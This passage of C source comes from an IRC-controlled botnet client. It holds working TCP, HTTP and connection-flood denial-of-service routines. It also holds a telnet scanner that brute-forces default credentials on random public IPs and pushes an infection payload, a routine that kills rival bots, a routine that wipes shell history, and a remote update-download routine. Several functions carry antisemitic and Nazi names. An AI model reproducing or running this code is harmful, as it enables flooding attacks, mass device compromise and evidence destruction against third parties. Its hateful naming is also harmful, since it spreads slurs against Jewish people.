2627
return;
2628
}
2629
unsigned char *ip = argv[1];
2630
int port = atoi(argv[2]);
2631
int time = atoi(argv[3]);
2632
unsigned char *flags = argv[4];
2633
int packetsize = argc > 5 ? atoi(argv[5]) : 0;
2634
int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
2635
int num_threads = atoi(argv[7]);
2636
int spoofed = 32;
2637
struct sockaddr_in sin;
2638
sin.sin_family = AF_INET;
2639
sin.sin_addr.s_addr = inet_addr(argv[1]);
2640
struct tcp_thread_data td[num_threads];
2641
unsigned char *hi = strtok(ip, ",");
2642
int i;
2643
for(i = 0; i < num_threads - 1; i++){
2644
td[i].target = i;
2645
td[i].port = port;
2646
td[i].secs = time;
2647
td[i].flags = flags;
2648
td[i].packetsize = packetsize;
2649
td[i].pollinterval = pollinterval;
2650
td[i].spoofit = spoofed;
2651
SendTCP((void *) &td[i]);
2652
}
2653
Send(sock, "NOTICE %s :TCP flooding %s:%d with %s and %d threads\n", sender, hi, port, flags, num_threads);
2654
sleep(time);
2655
exit(0);
2656
}
2657
2658
int socket_connect(char *host, unsigned short int port) {
2659
struct hostent *hp;
2660
struct sockaddr_in addr;
2661
int on = 1, sock;
2662
if((hp = gethostbyname(host)) == NULL) return 0;
2663
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
2664
addr.sin_port = htons(port);
2665
addr.sin_family = AF_INET;
2666
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
2667
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
2668
if(sock == -1) return 0;
2669
if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
2670
return sock;
2671
}
2672
2673
// HTTP Flood
2674
void sendHTTP(void *host, char *method, int port, char *path, int timeFoo, int power){
2675
const char *connections[] = { "close", "keep-alive", "accept" };
2676
int i, timeEnd = time (NULL) + timeFoo;
2677
char request[1024];
2678
char *myUA = UserAgents[(rand () % NUMITEMS(UserAgents))];
2679
char *myCon = connections[(rand () % 3)];
2680
int myLen = 55 + strlen(method) + strlen(path) + strlen(myUA) + strlen(myCon);
2681
if(myLen >= 1024) {
2682
return;
2683
}
2684
snprintf(request, myLen,
2685
"%s %s HTTP/1.1\r\nAccept: */*\r\nUser-Agent: %s\r\nConnection: %s\r\n\r\n",
2686
method, path, myUA,
2687
myCon);
2688
for (i = 0; i < power; i++) {
2689
if(fork ()) {
2690
while(timeEnd > time (NULL)) {
2691
int socket = socket_connect(host, port);
2692
if(socket != 0) {
2693
write(socket, request, strlen(request));
2694
close(socket);
2695
}
2696
}
2697
_exit (1);
2698
}
2699
}
2700
}
2701
2702
void *HTTP(int sock, char *sender, int argc, char **argv) {
2703
2704
// !* HTTP METHOD TARGET PORT PATH TIME POWER
2705
// !* HTTP GET hackforums.net 80 / 10 100
2706
if(mfork(sender) != 0) return;
2707
if(argc < 6) {
2708
Send(sock, "NOTICE %s :HTTP <method> <target> <port> <path> <time> <power>\n", sender);
2709
}
2710
Send(sock, "NOTICE %s :HTTP %s flooding %s with %d power\n", sender, argv[2], atoi(argv[6]));
2711
if(strstr ((const char *) argv[1], ",") != NULL) {
2712
unsigned char *hi = (unsigned char *) strtok ((char *) argv[1], ",");
2713
while(hi != NULL) {
2714
if(!listFork ()) {
2715
sendHTTP (argv[1], argv[2],
2716
atoi(argv[3]), argv[4],
2717
atoi(argv[5]), atoi(argv[6]));
2718
_exit (0);
2719
}
2720
hi = (unsigned char *) strtok (NULL, ",");
2721
}
2722
} else {
2723
if(listFork ()) {
2724
return;
2725
}
2726
sendHTTP (argv[1], argv[2],
2727
atoi(argv[3]), argv[4],
2728
atoi(argv[5]), atoi(argv[6]));
2729
_exit (0);
2730
}
2731
}
2732
2733
// __ __ ___ _ _
2734
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
2735
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
2736
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
2737
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
2738
2739
void sendJUNK(unsigned char *ip, int port, int end_time)
2740
{
2741
2742
int max = getdtablesize() / 2, i;
2743
2744
struct sockaddr_in dest_addr;
2745
dest_addr.sin_family = AF_INET;
2746
dest_addr.sin_port = htons(port);
2747
if(getHost(ip, &dest_addr.sin_addr)) return;
2748
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
2749
2750
struct state_t
2751
{
2752
int fd;
2753
uint8_t state;
2754
} fds[max];
2755
memset(fds, 0, max * (sizeof(int) + 1));
2756
2757
fd_set myset;
2758
struct timeval tv;
2759
socklen_t lon;
2760
int valopt, res;
2761
2762
unsigned char *watwat = malloc(1024);
2763
memset(watwat, 0, 1024);
2764
int packetLen = 1024;
2765
2766
int end = time(NULL) + end_time;
2767
while(end > time(NULL))
2768
{
2769
for(i = 0; i < max; i++)
2770
{
2771
switch(fds[i].state)
2772
{
2773
case 0:
2774
{
2775
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
2776
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
2777
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
2778
else fds[i].state = 1;
2779
}
2780
break;
2781
2782
case 1:
2783
{
2784
FD_ZERO(&myset);
2785
FD_SET(fds[i].fd, &myset);
2786
tv.tv_sec = 0;
2787
tv.tv_usec = 10000;
2788
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
2789
if(res == 1)
2790
{
2791
lon = sizeof(int);
2792
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
2793
if(valopt)
2794
{
2795
close(fds[i].fd);
2796
fds[i].state = 0;
2797
} else {
2798
fds[i].state = 2;
2799
}
2800
} else if(res == -1)
2801
{
2802
close(fds[i].fd);
2803
fds[i].state = 0;
2804
}
2805
}
2806
break;
2807
2808
case 2:
2809
{
2810
//nonblocking sweg
2811
packetLen = realrand(32, 1024);
2812
makeRandomShit(watwat, packetLen);
2813
if(send(fds[i].fd, watwat, packetLen, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
2814
{
2815
close(fds[i].fd);
2816
fds[i].state = 0;
2817
}
2818
}
2819
break;
2820
}
2821
}
2822
}
2823
}
2824
2825
char *junk(int sock, char *sender, int argc, char **argv) {
2826
if(argc < 3 || atoi(argv[3]) < 0) {
2827
Send(sock, "NOTICE %s :JUNK <ip> <port> <time>\n", sender);
2828
return;
2829
}
2830
if(mfork(sender) != 0) return;
2831
Send(sock, "NOTICE %s :JUNK flooding %s:%s\n", sender, argv[1], argv[2]);
2832
sendJUNK(argv[1], atoi(argv[2]), atoi(argv[3]));
2833
}
2834
2835
// _ _ ___ _ _
2836
// /\ /\___ | | __| | / __\ | ___ ___ __| |
2837
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
2838
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
2839
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
2840
2841
void sendHOLD(unsigned char *ip, int port, int end_time)
2842
{
2843
2844
int max = getdtablesize() / 2, i;
2845
2846
struct sockaddr_in dest_addr;
2847
dest_addr.sin_family = AF_INET;
2848
dest_addr.sin_port = htons(port);
2849
if(getHost(ip, &dest_addr.sin_addr)) return;
2850
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
2851
2852
struct state_t
2853
{
2854
int fd;
2855
uint8_t state;
2856
} fds[max];
2857
memset(fds, 0, max * (sizeof(int) + 1));
2858
2859
fd_set myset;
2860
struct timeval tv;
2861
socklen_t lon;
2862
int valopt, res;
2863
2864
int end = time(NULL) + end_time;
2865
while(end > time(NULL))
2866
{
2867
for(i = 0; i < max; i++)
2868
{
2869
switch(fds[i].state)
2870
{
2871
case 0:
2872
{
2873
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
2874
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
2875
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
2876
else fds[i].state = 1;
2877
}
2878
break;
2879
2880
case 1:
2881
{
2882
FD_ZERO(&myset);
2883
FD_SET(fds[i].fd, &myset);
2884
tv.tv_sec = 0;
2885
tv.tv_usec = 10000;
2886
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
2887
if(res == 1)
2888
{
2889
lon = sizeof(int);
2890
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
2891
if(valopt)
2892
{
2893
close(fds[i].fd);
2894
fds[i].state = 0;
2895
} else {
2896
fds[i].state = 2;
2897
}
2898
} else if(res == -1)
2899
{
2900
close(fds[i].fd);
2901
fds[i].state = 0;
2902
}
2903
}
2904
break;
2905
2906
case 2:
2907
{
2908
FD_ZERO(&myset);
2909
FD_SET(fds[i].fd, &myset);
2910
tv.tv_sec = 0;
2911
tv.tv_usec = 10000;
2912
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
2913
if(res != 0)
2914
{
2915
close(fds[i].fd);
2916
fds[i].state = 0;
2917
}
2918
}
2919
break;
2920
}
2921
}
2922
}
2923
}
2924
2925
char *hold(int sock, char *sender, int argc, char **argv) {
2926
if(argc < 3 || atoi(argv[3]) < 0) {
2927
Send(sock, "NOTICE %s :HOLD <ip> <port> <time>\n", sender);
2928
return;
2929
}
2930
if(mfork(sender) != 0) return;
2931
Send(sock, "NOTICE %s :HOLD flooding %s:%s\n", sender, argv[1], argv[2]);
2932
sendHOLD(argv[1], atoi(argv[2]), atoi(argv[3]));
2933
}
2934
2935
const char* get_ipstate_host(struct ipstate_t* ipstate)
2936
{
2937
struct in_addr in_addr_ip;
2938
in_addr_ip.s_addr = ipstate->ip;
2939
return inet_ntoa(in_addr_ip);
2940
}
2941
2942
int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
2943
{
2944
int num_bytes, i;
2945
memset(buffer, 0, buf_size);
2946
num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
2947
2948
if(buffer[0] == 0xFF)
2949
{
2950
negotiate(fd, buffer, 3);
2951
}
2952
2953
if(contains_string(buffer, strings))
2954
{
2955
return 1;
2956
}
2957
2958
return 0;
2959
}
2960
int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
2961
{
2962
fd_set read_set;
2963
struct timeval tv;
2964
tv.tv_sec = 0;
2965
tv.tv_usec = timeout_usec;
2966
2967
FD_ZERO(&read_set);
2968
FD_SET(fd, &read_set);
2969
2970
if(select(fd+1, &read_set, NULL, NULL, &tv) < 1)
2971
return 0;
2972
2973
return recv(fd, buffer, buf_size, 0);
2974
}
2975
void advance_state(struct ipstate_t* ipstate, int new_state)
2976
{
2977
if(new_state == 0)
2978
{
2979
close(ipstate->fd);
2980
}
2981
2982
ipstate->totalTimeout = 0;
2983
ipstate->state = new_state;
2984
memset((ipstate->sockbuf), 0, BUFFER_SIZE);
2985
}
2986
2987
void reset_ipstate(struct ipstate_t* ipstate)
2988
{
2989
advance_state(ipstate, 0);
2990
ipstate->complete = 1;
2991
}
2992
int contains_success(char* buffer)
2993
{
2994
return contains_string(buffer, successes);
2995
}
2996
int contains_fail(char* buffer)
2997
{
2998
return contains_string(buffer, fails);
2999
}
3000
int contains_response(char* buffer)
3001
{
3002
return contains_success(buffer) || contains_fail(buffer);
3003
}
3004
int contains_string(char* buffer, char** strings)
3005
{
3006
int num_strings = 0, i = 0;
3007
3008
for(num_strings = 0; strings[++num_strings] != 0; );
3009
3010
for(i = 0; i < num_strings; i++)
3011
{
3012
if(strcasestr(buffer, strings[i]))
3013
{
3014
return 1;
3015
}
3016
}
3017
3018
return 0;
3019
}
3020
3021
int connectTimeout(int fd, char *host, int port, int timeout)
3022
{
3023
struct sockaddr_in dest_addr;
3024
fd_set myset;
3025
struct timeval tv;
3026
socklen_t lon;
3027
3028
int valopt;
3029
long arg = fcntl(fd, F_GETFL, NULL);
3030
arg |= O_NONBLOCK;
3031
fcntl(fd, F_SETFL, arg);
3032
3033
dest_addr.sin_family = AF_INET;
3034
dest_addr.sin_port = htons(port);
3035
if(getHost(host, &dest_addr.sin_addr)) return 0;
3036
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
3037
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
3038
3039
if(res < 0) {
3040
if(errno == EINPROGRESS) {
3041
tv.tv_sec = timeout;
3042
tv.tv_usec = 0;
3043
FD_ZERO(&myset);
3044
FD_SET(fd, &myset);
3045
if(select(fd+1, NULL, &myset, NULL, &tv) > 0) {
3046
lon = sizeof(int);
3047
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
3048
if(valopt) return 0;
3049
}
3050
else return 0;
3051
}
3052
else return 0;
3053
}
3054
3055
arg = fcntl(fd, F_GETFL, NULL);
3056
arg &= (~O_NONBLOCK);
3057
fcntl(fd, F_SETFL, arg);
3058
3059
return 1;
3060
}
3061
3062
int negotiate(int sock, unsigned char *buf, int len)
3063
{
3064
unsigned char c;
3065
3066
switch (buf[1]) {
3067
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/
3068
return 0;
3069
case CMD_WILL:
3070
case CMD_WONT:
3071
case CMD_DO:
3072
case CMD_DONT:
3073
c = CMD_IAC;
3074
send(sock, &c, 1, MSG_NOSIGNAL);
3075
if(CMD_WONT == buf[1]) c = CMD_DONT;
3076
else if(CMD_DONT == buf[1]) c = CMD_WONT;
3077
else if(OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
3078
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
3079
send(sock, &c, 1, MSG_NOSIGNAL);
3080
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
3081
break;
3082
3083
default:
3084
break;
3085
}
3086
3087
return 0;
3088
}
3089
3090
int matchPrompt(char *bufStr)
3091
{
3092
char *prompts = ":>%$#\0";
3093
3094
int bufLen = strlen(bufStr);
3095
int i, q = 0;
3096
for(i = 0; i < strlen(prompts); i++)
3097
{
3098
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
3099
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
3100
}
3101
3102
return 0;
3103
}
3104
3105
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
3106
{
3107
int bufferUsed = initialIndex, got = 0, found = 0;
3108
fd_set myset;
3109
struct timeval tv;
3110
tv.tv_sec = timeout;
3111
tv.tv_usec = timeoutusec;
3112
unsigned char *initialRead = NULL;
3113
3114
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
3115
{
3116
FD_ZERO(&myset);
3117
FD_SET(fd, &myset);
3118
if(select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
3119
initialRead = buffer + bufferUsed;
3120
got = recv(fd, initialRead, 1, 0);
3121
if(got == -1 || got == 0) return 0;
3122
bufferUsed += got;
3123
if(*initialRead == 0xFF)
3124
{
3125
got = recv(fd, initialRead + 1, 2, 0);
3126
if(got == -1 || got == 0) return 0;
3127
bufferUsed += got;
3128
if(!negotiate(fd, initialRead, 3)) return 0;
3129
} else {
3130
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) {
3131
found = 1;
3132
break;
3133
}
3134
}
3135
}
3136
3137
if(found) return 1;
3138
return 0;
3139
}
3140
3141
3142
3143
static uint8_t ipState[5] = {0};
3144
3145
int sclose(int fd)
3146
{
3147
if(3 > fd) return 1;
3148
close(fd);
3149
return 0;
3150
}
3151
3152
void BurnTheJews(int wait_usec, int maxfds, int sock) {// Freaky scanner by Freak. pulls tonneesss
3153
if(!fork()) return;
3154
srand((time(NULL) ^ getpid()) + getppid());
3155
init_rand(time(NULL) ^ getpid());
3156
int shell;
3157
int max = getdtablesize() - 100, i, res, num_tmps, j;
3158
char buf[128], cur_dir;
3159
3160
if (max > maxfds)
3161
max = maxfds;
3162
fd_set fdset;
3163
struct timeval tv;
3164
socklen_t lon;
3165
int valopt;
3166
3167
char line[256];
3168
char* buffer;
3169
struct sockaddr_in dest_addr;
3170
dest_addr.sin_family = AF_INET;
3171
dest_addr.sin_port = htons(23);
3172
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
3173
3174
buffer = malloc(SOCKBUF_SIZE + 1);
3175
memset(buffer, 0, SOCKBUF_SIZE + 1);
3176
3177
struct ipstate_t fds[max];
3178
3179
3180
memset(fds, 0, max * (sizeof(int) + 1));
3181
for(i = 0; i < max; i++)
3182
{
3183
memset(&(fds[i]), 0, sizeof(struct ipstate_t));
3184
fds[i].complete = 1;
3185
fds[i].sockbuf = buffer;
3186
}
3187
3188
while(1)
3189
{
3190
for(i = 0; i < max; i++)
3191
{
3192
if(fds[i].totalTimeout == 0)
3193
{
3194
fds[i].totalTimeout = time(NULL);
3195
}
3196
3197
switch(fds[i].state)
3198
{
3199
case 0:
3200
{
3201
if(fds[i].complete == 1)
3202
{
3203
// clear the current fd
3204
char *tmp = fds[i].sockbuf;
3205
memset(&(fds[i]), 0, sizeof(struct ipstate_t));
3206
fds[i].sockbuf = tmp;
3207
// get a new random ip
3208
fds[i].ip = getRandomPublicIP();
3209
}
3210
else if(fds[i].complete == 0)
3211
{
3212
3213
3214
if(fds[i].usernameInd >= NUMITEMS(usernames) -1)
3215
{
3216
fds[i].complete = 1;
3217
continue;
3218
}
3219
fds[i].usernameInd++;
3220
fds[i].passwordInd++;
3221
3222
/*
3223
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
3224
{
3225
fds[i].passwordInd = 0;
3226
fds[i].usernameInd++;
3227
}
3228
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
3229
{
3230
fds[i].complete = 1;
3231
continue;
3232
}
3233
*/
3234
}
3235
dest_addr.sin_family = AF_INET;
3236
dest_addr.sin_port = htons(23);
3237
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
3238
dest_addr.sin_addr.s_addr = fds[i].ip;
3239
3240
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
3241
3242
if(fds[i].fd == -1) continue;
3243
3244
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
3245
3246
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
3247
{
3248
reset_ipstate(&fds[i]);
3249
}
3250
else
3251
{
3252
advance_state(&fds[i], 1);
3253
}
3254
}
3255
break;
3256
3257
case 1:
3258
{
3259
FD_ZERO(&fdset);
3260
FD_SET(fds[i].fd, &fdset);
3261
tv.tv_sec = 0;
3262
tv.tv_usec = wait_usec;
3263
res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
3264
3265
if(res == 1)
3266
{
3267
lon = sizeof(int);
3268
valopt = 0;
3269
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
3270
//printf("%d\n",valopt);
3271
if(valopt)
3272
{
3273
reset_ipstate(&fds[i]);
3274
}
3275
else
3276
{
3277
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
3278
advance_state(&fds[i], 2);
3279
}
3280
continue;
3281
}
3282
else if(res == -1)
3283
{
3284
reset_ipstate(&fds[i]);
3285
continue;
3286
}
3287
3288
if(fds[i].totalTimeout + 6 < time(NULL))
3289
{
3290
reset_ipstate(&fds[i]);
3291
}
3292
}
3293
break;
3294
3295
case 2:
3296
{
3297
//Send(sock, "PRIVMSG %s :[TELNET] DISCOVERED - %s\n", chan, get_ipstate_host(&fds[i]));
3298
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
3299
{
3300
if(contains_fail(fds[i].sockbuf))
3301
{
3302
advance_state(&fds[i], 0);
3303
}
3304
else
3305
{
3306
advance_state(&fds[i], 3);
3307
}
3308
3309
continue;
3310
}
3311
3312
if(fds[i].totalTimeout + 6 < time(NULL))
3313
{
3314
reset_ipstate(&fds[i]);
3315
}
3316
}
3317
break;
3318
3319
case 3:
3320
{
3321
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
3322
{
3323
reset_ipstate(&fds[i]);
3324
continue;
3325
}
3326
3327
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
3328
{
3329
reset_ipstate(&fds[i]);
3330
continue;
3331
}
3332
3333
advance_state(&fds[i], 4);
3334
}
3335
break;
3336
3337
case 4:
3338
{
3339
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
3340
{
3341
if(contains_fail(fds[i].sockbuf))
3342
{
3343
advance_state(&fds[i], 0);
3344
}
3345
else
3346
{
3347
advance_state(&fds[i], 5);
3348
}
3349
continue;
3350
}
3351
3352
if(fds[i].totalTimeout + 6 < time(NULL))
3353
{
3354
reset_ipstate(&fds[i]);
3355
}
3356
}
3357
break;
3358
3359
case 5:
3360
{
3361
//Send(sock, "PRIVMSG %s :[TELNET] ATTEMPT - %s:23 %s:%s\n", chan, get_ipstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
3362
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
3363
{
3364
reset_ipstate(&fds[i]);
3365
continue;
3366
}
3367
3368
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
3369
{
3370
reset_ipstate(&fds[i]);
3371
continue;
3372
}
3373
3374
advance_state(&fds[i], 6);
3375
}
3376
break;
3377
3378
case 6:
3379
{
3380
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
3381
{
3382
fds[i].totalTimeout = 0;
3383
3384
if(contains_fail(fds[i].sockbuf))
3385
{
3386
advance_state(&fds[i], 0);
3387
}
3388
else if(contains_success(fds[i].sockbuf))
3389
{
3390
if(fds[i].complete == 2)
3391
{
3392
advance_state(&fds[i], 7);
3393
}
3394
else
3395
{
3396
Send(sock, "PRIVMSG %s :[TELNET] CRACKED - %s:23 %s:%s\n", chan, get_ipstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
3397
advance_state(&fds[i], 7);
3398
}
3399
}
3400
else
3401
{
3402
reset_ipstate(&fds[i]);
3403
}
3404
continue;
3405
}
3406
3407
if(fds[i].totalTimeout + 7 < time(NULL))
3408
{
3409
reset_ipstate(&fds[i]);
3410
}
3411
}
3412
break;
3413
case 7:
3414
{
3415
fds[i].totalTimeout = 0;
3416
//get shell just in case we dont have it already
3417
for(shell = 0; shell < NUMITEMS(shellz); shell++) {
3418
memset(buf, 0, 128);
3419
snprintf(buf, 2 + strlen(shellz[shell]), "%s\r\n", shellz[shell]);
3420
if(send(fds[i].fd, buf, strlen(shellz[shell]), MSG_NOSIGNAL) < 0) {
3421
reset_ipstate(&fds[i]);
3422
continue;
3423
}
3424
}
3425
3426
for(j = 0; j < num_tmps; j++)
3427
{
3428
memset(buf, 0, 128);
3429
if(j == 0)
3430
snprintf(buf, 58 + (strlen(tmpdirs[j]) * 4), ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j], tmpdirs[j]);
3431
else
3432
snprintf(buf, 24 + strlen(tmpdirs[j]), ">%s.t && cd %s ; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j]);
3433
3434
if(send(fds[i].fd, buf, strlen(buf), MSG_NOSIGNAL) < 0)
3435
{
3436
reset_ipstate(&fds[i]);
3437
continue;
3438
}
3439
}
3440
advance_state(&fds[i], 8);
3441
}
3442
break;
3443
case 8:
3444
{
3445
fds[i].totalTimeout = 0;
3446
3447
if(send(fds[i].fd, rekdevice, strlen(rekdevice), MSG_NOSIGNAL) < 0)
3448
{
3449
Send(sock, "PRIVMSG %s :[TELNET] INFECTED - %s:23 %s:%s\n", chan, get_ipstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
3450
reset_ipstate(&fds[i]);
3451
continue;
3452
}
3453
if(fds[i].totalTimeout + 10 < time(NULL))
3454
{
3455
Send(sock, "PRIVMSG %s :[TELNET] FAILED TO INFECT - %s:23 %s:%s\n", chan, get_ipstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
3456
reset_ipstate(&fds[i]);
3457
}
3458
break;
3459
}
3460
}
3461
}
3462
}
3463
}
3464
3465
3466
3467
void SeigHeil(int sock) {
3468
uint32_t parent;
3469
parent = fork();
3470
int forks = sysconf(_SC_NPROCESSORS_ONLN) * 1; //1 fork for each scanner for each cpu
3471
int fds = forks * 64; //Quite effective. 64 sockets for each CPU fork. - Freak
3472
int waitms = 370; //Timeout is 370 milliseconds
3473
if(parent > 0) {
3474
scanPid = parent;
3475
return;
3476
}
3477
else if(parent == -1) return;
3478
int ii;
3479
for(ii = 0; ii < forks; ii++) {
3480
BurnTheJews(waitms, fds, sock);
3481
}
3482
return;
3483
}
3484
3485
void doScanner(int sock, char *sender, int argc, char **argv) {
3486
if(argc < 1) {
3487
Send(sock, "NOTICE %s :SCANNER <ON/OFF>\n", sender);
3488
return;
3489
}
3490
if(!strcmp(argv[1], "ON") || !strcmp(argv[1], "on")) {
3491
if(scanPid == 0) {
3492
SeigHeil(sock);
3493
if(scanPid != 0) {
3494
Send(sock, "PRIVMSG %s :[TELNET] [+] SCANNER STARTED!\n", chan); //Scanner has been started successfully!!!
3495
return;
3496
} else {
3497
Send(sock, "PRIVMSG %s :[TELNET] [-] FAILED TO START SCANNER!\n", chan); //fuk ;-;
3498
return;
3499
}
3500
} else {
3501
Send(sock, "PRIVMSG %s :[TELNET] [+] SCANNER ALREADY STARTED!\n", chan);
3502
return;
3503
}
3504
}
3505
if(!strcmp(argv[1], "OFF") || !strcmp(argv[1], "off")) {
3506
if(scanPid != 0) {
3507
if(kill(scanPid, 9) == 0) {
3508
Send(sock, "PRIVMSG %s :[TELNET] [+] SCANNER KILLED!\n", chan);
3509
scanPid = 0;
3510
return;
3511
} else {
3512
Send(sock, "PRIVMSG %s :[TELNET] [-] FAILED TO KILL SCANNER!\n", chan);
3513
return;
3514
}
3515
} else {
3516
Send(sock, "PRIVMSG %s :[TELNET] [+] SCANNER NOT STARTED!\n", chan);
3517
return;
3518
}
3519
} else {
3520
Send(sock, "NOTICE %s :SCANNER <ON/OFF>\n", sender);
3521
return;
3522
}
3523
}
3524
3525
void botkill() {
3526
int i;
3527
if(!fork()) return;
3528
while(1) {
3529
for (i = 0; i < NUMITEMS(knownBots); i++) {
3530
char command[512];
3531
sprintf(command, "pkill -9 %s || busybox pkill -9 %s || /usr/busybox pkill -9 %s || /bin/busybox pkill -9 %s || /var/run/busybox pkill -9 %s", knownBots[i], knownBots[i], knownBots[i], knownBots[i], knownBots[i]);
3532
system(command);
3533
sleep(1);
3534
}
3535
}
3536
}
3537
3538
void ClearHistory() {
3539
system ("history -c;history -w");
3540
system ("cd /root;rm -f .bash_history");
3541
system ("cd /var/tmp; rm -f *");
3542
}
3543
3544
void dns2ip(int sock, char *sender, int argc, char **argv) {
3545
if(mfork(sender) != 0) return;
3546
if(argc == 1) {
3547
char ip[16];
3548
strncpy(ip, inet_ntoa( *((struct in_addr*) gethostbyname(argv[1])->h_addr_list[0])), 16 );
3549
Send(sock, "NOTICE %s :%s resolves to %s\n", sender, argv[1], ip);
3550
} else {
3551
Send(sock, "NOTICE %s :DNS2IP <domain>\n", sender);
3552
}
3553
exit(0);
3554
}
3555
3556
void update(int sock, char *sender, int argc, char **argv) {
3557
int sock2,i,d;
3558
struct sockaddr_in server;
3559
unsigned long ipaddr;
3560
unsigned char dgcc;
3561
char buf[1024], *file;
3562
FILE *gcc;
3563
int parent=getpid();
3564
if(mfork(sender) != 0) return;
3565
if(argc < 2) {
3566
Send(sock, "NOTICE %s :UPDATEHTTP <host> <src:bin>\n", sender);
3567
exit(0);
3568
}
3569
if((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
3570
Send(sock, "NOTICE %s :Unable to create socket (Wierd, you shouldnt get this error and ITS NOT MY FAULT!).\n", sender);
3571
exit(0);
3572
}
3573
server.sin_family = AF_INET;
3574
server.sin_port = htons(80);
3575
if((ipaddr = inet_addr(argv[1])) == -1) {
3576
struct hostent *hostm;
3577
if((hostm=gethostbyname(argv[1])) == NULL) {
3578
Send(sock, "NOTICE %s :Unable to resolve address.\n", sender);
3579
exit(0);
3580
}
3581
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
3582
}
3583
else server.sin_addr.s_addr = ipaddr;
3584
memset(&(server.sin_zero), 0, 8);
3585
if(connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
3586
Send(sock, "NOTICE %s :Unable to connect to http.\n", sender);
3587
exit(0);
3588
}
3589
3590
gcc=popen("gcc --help","r");
3591
if(gcc != NULL) {
3592
memset(buf,0,1024);
3593
fgets(buf,1024,gcc);
3594
